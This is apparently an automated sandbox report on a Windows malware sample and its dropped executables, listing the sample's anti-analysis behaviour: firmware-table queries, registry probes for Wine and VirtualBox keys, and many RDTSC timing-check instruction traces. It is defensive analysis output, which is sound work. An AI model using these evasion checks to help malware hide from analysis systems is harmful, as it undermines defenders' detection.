Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YE8NKYRXI5RMMD3960OUHRYCIPX1EEK.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2WLTZV8JUCLEOOJ1JDBUZTRB.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 187966 second address: 18796C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F63B7 second address: 2F63BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F63BB second address: 2F63C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F63C8 second address: 2F63E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F95h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F63E1 second address: 2F63F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Ch 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F6854 second address: 2F6858 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F6858 second address: 2F6872 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E35090481h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F8BCA second address: 2F8BD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F6E34BB4F86h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F8CAB second address: 2F8CD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 jmp 00007F6E35090489h 0x0000000a pop ecx 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F8E3C second address: 2F8EC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F95h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 70EE4AC1h 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007F6E34BB4F88h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a lea ebx, dword ptr [ebp+12444A95h] 0x00000030 push 00000000h 0x00000032 push eax 0x00000033 call 00007F6E34BB4F88h 0x00000038 pop eax 0x00000039 mov dword ptr [esp+04h], eax 0x0000003d add dword ptr [esp+04h], 0000001Ch 0x00000045 inc eax 0x00000046 push eax 0x00000047 ret 0x00000048 pop eax 0x00000049 ret 0x0000004a sub dword ptr [ebp+122D17D1h], ecx 0x00000050 mov edx, dword ptr [ebp+122D2B06h] 0x00000056 push eax 0x00000057 pushad 0x00000058 jno 00007F6E34BB4F8Ch 0x0000005e pushad 0x0000005f pushad 0x00000060 popad 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F8EFF second address: 2F8F5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push esi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F6E3509047Dh 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F6E35090478h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 00000014h 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b or dword ptr [ebp+122D1B33h], esi 0x00000031 push 00000000h 0x00000033 or dword ptr [ebp+122D2008h], edi 0x00000039 push 59DEBACCh 0x0000003e pushad 0x0000003f jmp 00007F6E35090483h 0x00000044 push eax 0x00000045 push edx 0x00000046 pushad 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F8F5F second address: 2F8FED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xor dword ptr [esp], 59DEBA4Ch 0x0000000e push 00000000h 0x00000010 push eax 0x00000011 call 00007F6E34BB4F88h 0x00000016 pop eax 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b add dword ptr [esp+04h], 00000016h 0x00000023 inc eax 0x00000024 push eax 0x00000025 ret 0x00000026 pop eax 0x00000027 ret 0x00000028 add dword ptr [ebp+122D2698h], ebx 0x0000002e or edi, dword ptr [ebp+122D3785h] 0x00000034 push 00000003h 0x00000036 mov dword ptr [ebp+122D2F97h], eax 0x0000003c push 00000000h 0x0000003e jmp 00007F6E34BB4F93h 0x00000043 push 00000003h 0x00000045 or cx, E633h 0x0000004a mov dword ptr [ebp+122D1EAFh], edi 0x00000050 push F98DA371h 0x00000055 push ecx 0x00000056 jl 00007F6E34BB4F88h 0x0000005c pop ecx 0x0000005d xor dword ptr [esp], 398DA371h 0x00000064 xor ecx, dword ptr [ebp+122D366Dh] 0x0000006a lea ebx, dword ptr [ebp+12444AA0h] 0x00000070 mov cx, di 0x00000073 push eax 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 push eax 0x00000079 pop eax 0x0000007a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2F8FED second address: 2F8FF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 318175 second address: 31817B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 318432 second address: 31844C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jns 00007F6E35090478h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jno 00007F6E35090476h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 31844C second address: 318466 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F6E34BB4F8Ch 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 318466 second address: 31848B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F6E35090484h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 318897 second address: 31889D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3189B6 second address: 3189BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3189BC second address: 3189C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3189C2 second address: 3189C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 319026 second address: 319043 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E34BB4F93h 0x00000009 js 00007F6E34BB4F86h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 319043 second address: 319068 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push ecx 0x0000000b je 00007F6E35090476h 0x00000011 jl 00007F6E35090476h 0x00000017 pop ecx 0x00000018 jmp 00007F6E3509047Dh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 319068 second address: 319084 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6E34BB4F98h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 319783 second address: 319787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 319787 second address: 3197A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6E34BB4F90h 0x0000000b pop edi 0x0000000c pushad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3197A4 second address: 3197B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 31CB56 second address: 31CB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 31CB5B second address: 31CB66 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6E35090476h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 31BBC6 second address: 31BBCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 320F89 second address: 320F98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F6E35090476h 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 2EC0BB second address: 2EC0DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E34BB4F99h 0x00000009 popad 0x0000000a push edi 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 325A31 second address: 325A56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6E3509047Ch 0x00000009 jns 00007F6E35090478h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F6E3509047Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 325BAC second address: 325BBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6E34BB4F86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 325BBB second address: 325BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 325BBF second address: 325BD6 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E34BB4F86h 0x00000008 jg 00007F6E34BB4F86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop edi 0x00000011 pushad 0x00000012 push ebx 0x00000013 push eax 0x00000014 pop eax 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32642B second address: 32642F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327853 second address: 327858 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327858 second address: 32786D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6E3509047Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327915 second address: 327989 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ecx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jnc 00007F6E34BB4F88h 0x00000016 pushad 0x00000017 popad 0x00000018 jg 00007F6E34BB4F8Ch 0x0000001e popad 0x0000001f pop eax 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007F6E34BB4F88h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a jmp 00007F6E34BB4F95h 0x0000003f mov edi, dword ptr [ebp+122D265Eh] 0x00000045 push EAD8207Ah 0x0000004a push eax 0x0000004b push edx 0x0000004c push esi 0x0000004d jc 00007F6E34BB4F86h 0x00000053 pop esi 0x00000054 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327A58 second address: 327A72 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6E35090476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 ja 00007F6E35090478h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327DD0 second address: 327DD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327ECA second address: 327EF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 jmp 00007F6E3509047Ah 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F6E35090480h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327EF3 second address: 327EF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 327F96 second address: 327FA0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6E35090476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328493 second address: 328499 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328499 second address: 32849D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32862D second address: 328633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328633 second address: 32864C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E3509047Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328716 second address: 32873A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jne 00007F6E34BB4F86h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F6E34BB4F93h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328A83 second address: 328A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328A87 second address: 328AA5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6E34BB4F96h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 328AA5 second address: 328AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32A9A1 second address: 32A9A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32B4A9 second address: 32B4DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E35090487h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov esi, 41467E33h 0x00000011 push 00000000h 0x00000013 mov edi, esi 0x00000015 push 00000000h 0x00000017 movzx edi, ax 0x0000001a xchg eax, ebx 0x0000001b push ebx 0x0000001c jbe 00007F6E3509047Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32B240 second address: 32B24E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6E34BB4F8Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32B4DF second address: 32B500 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6E35090487h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32B500 second address: 32B506 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 32C9F1 second address: 32CA00 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3361F1 second address: 3361FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F6E34BB4F86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3354E1 second address: 3354E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3344D1 second address: 3344D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3354E5 second address: 3354EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 336297 second address: 33629B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3363B6 second address: 3363BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 3364B9 second address: 3364C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F6E34BB4F86h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 339140 second address: 339147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 339147 second address: 3391BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007F6E34BB4F86h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 cmc 0x00000012 push 00000000h 0x00000014 call 00007F6E34BB4F93h 0x00000019 jno 00007F6E34BB4F8Ch 0x0000001f pop ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F6E34BB4F88h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c push eax 0x0000003d pushad 0x0000003e jmp 00007F6E34BB4F99h 0x00000043 push eax 0x00000044 push edx 0x00000045 pushad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33C67C second address: 33C687 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33D52E second address: 33D532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33C687 second address: 33C692 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\0OkLsJL2Bn.exe	RDTSC instruction interceptor: First address: 33D532 second address: 33D53C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6E34BB4F86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
